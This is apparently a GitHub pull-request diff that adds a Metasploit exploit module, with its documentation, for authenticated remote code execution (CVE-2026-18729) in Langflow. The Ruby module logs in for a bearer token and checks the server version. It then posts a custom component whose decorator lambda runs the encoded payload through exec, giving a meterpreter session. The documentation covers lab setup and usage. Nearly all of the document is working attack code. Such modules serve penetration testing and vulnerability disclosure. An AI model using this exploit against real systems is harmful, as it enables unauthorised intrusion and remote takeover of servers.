Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
## Vulnerable Application

Langflow versions 1.11.1 and below are susceptible to authenticated remote code
execution due to improper enforcement of security restrictions of code generation
on the `/api/v1/custom_component` endpoint.

The vulnerability affects:

* Langflow < 1.11.1 and below

This module was successfully tested on:

* Langflow 1.10.0


### Installation

1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Langflow docker container (v1.10.0) in your VM.
`docker pull langflowai/langflow:1.10.0`
4. Start the langflow container.

```
sudo docker run -d \
--name langflow \
-p 192.168.1.30:7860:7860 \
-e LANGFLOW_SUPERUSER=root \
-e LANGFLOW_SUPERUSER_PASSWORD=root \
-e LANGFLOW_AUTO_LOGIN=false \
langflowai/langflow:1.10.0 \
```

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_auth_rce_cve_2026_18729`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<langflow username> password=<langflow password>`
5. You should get a meterpreter


## Options


## Scenarios
```

```
186 changes: 186 additions & 0 deletions modules/exploits/multi/http/langflow_auth_rce_cve_2026_18729.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,186 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI authenticated RCE',
'Description' => %q{
Langflow versions 1.11.1 and below are susceptible to authenticated
remote code execution due to improper enforcement of security restrictions
of code generation on the `/api/v1/custom_component` endpoint.
},
'Author' => [
'Richard Howe <rhowe425>'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-18729'],
['URL', 'https://www.ibm.com/support/pages/node/7284733']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-08-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
Opt::RPORT(7860),
OptString.new(
'TARGETURI',
[true, 'Base path of the Langflow application', '/']
),
OptString.new(
'USERNAME',
[true, 'Langflow login username', '']
),
OptString.new(
'PASSWORD',
[true, 'Langflow login password', '']
)
]
)
end

def get_token(username, password)
data = {
'username' => username,
'password' => password
}

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
'vars_post' => data
)

return unless res&.code&.between?(200, 299)

json = res.get_json_document
return unless json.is_a?(Hash)

json['access_token']
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
)

return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

doc = res.get_json_document

version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

package = doc.is_a?(Hash) ? doc['package'] : nil
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package

unless package.to_s.downcase == 'langflow'
return Exploit::CheckCode::Safe('Application is not Langflow.')
end

version = Rex::Version.new(version_str.to_s)

return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

if version < Rex::Version.new('1.11.2')
return Exploit::CheckCode::Appears(
"Version #{version} detected, which appears vulnerable."
)
end

Exploit::CheckCode::Safe(
"Version #{version} detected, which is not vulnerable."
)
end

def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']

token = get_token(username, password)

if token.to_s.empty?
fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
end

injected_code = [
'from langflow.custom import Component',
'from langflow.io import Output, MessageTextInput',
'from langflow.schema import Data',
'_fired = [False]',
'class PwnComponent(Component):',
' display_name = "CVE-2026-18729-Probe"',
' name = "PwnComponent"',
' inputs = [',
' MessageTextInput(',
' display_name="In",',
' name="input_value",',
' )',
' ]',
' outputs = [',
' Output(',
' display_name="Out",',
' name="out",',
' method="run",',
' )',
' ]',
" @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
' def run(self) -> Data:',
' return Data(data={"output": _out})'
].join("\n")

json_body = {
'code' => injected_code,
'frontend_node' => {}
}

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'api/v1/custom_component'
),
'headers' => {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{token}"
},
'data' => json_body.to_json
)

unless res&.code&.between?(200, 299)
fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
end
end
end
Loading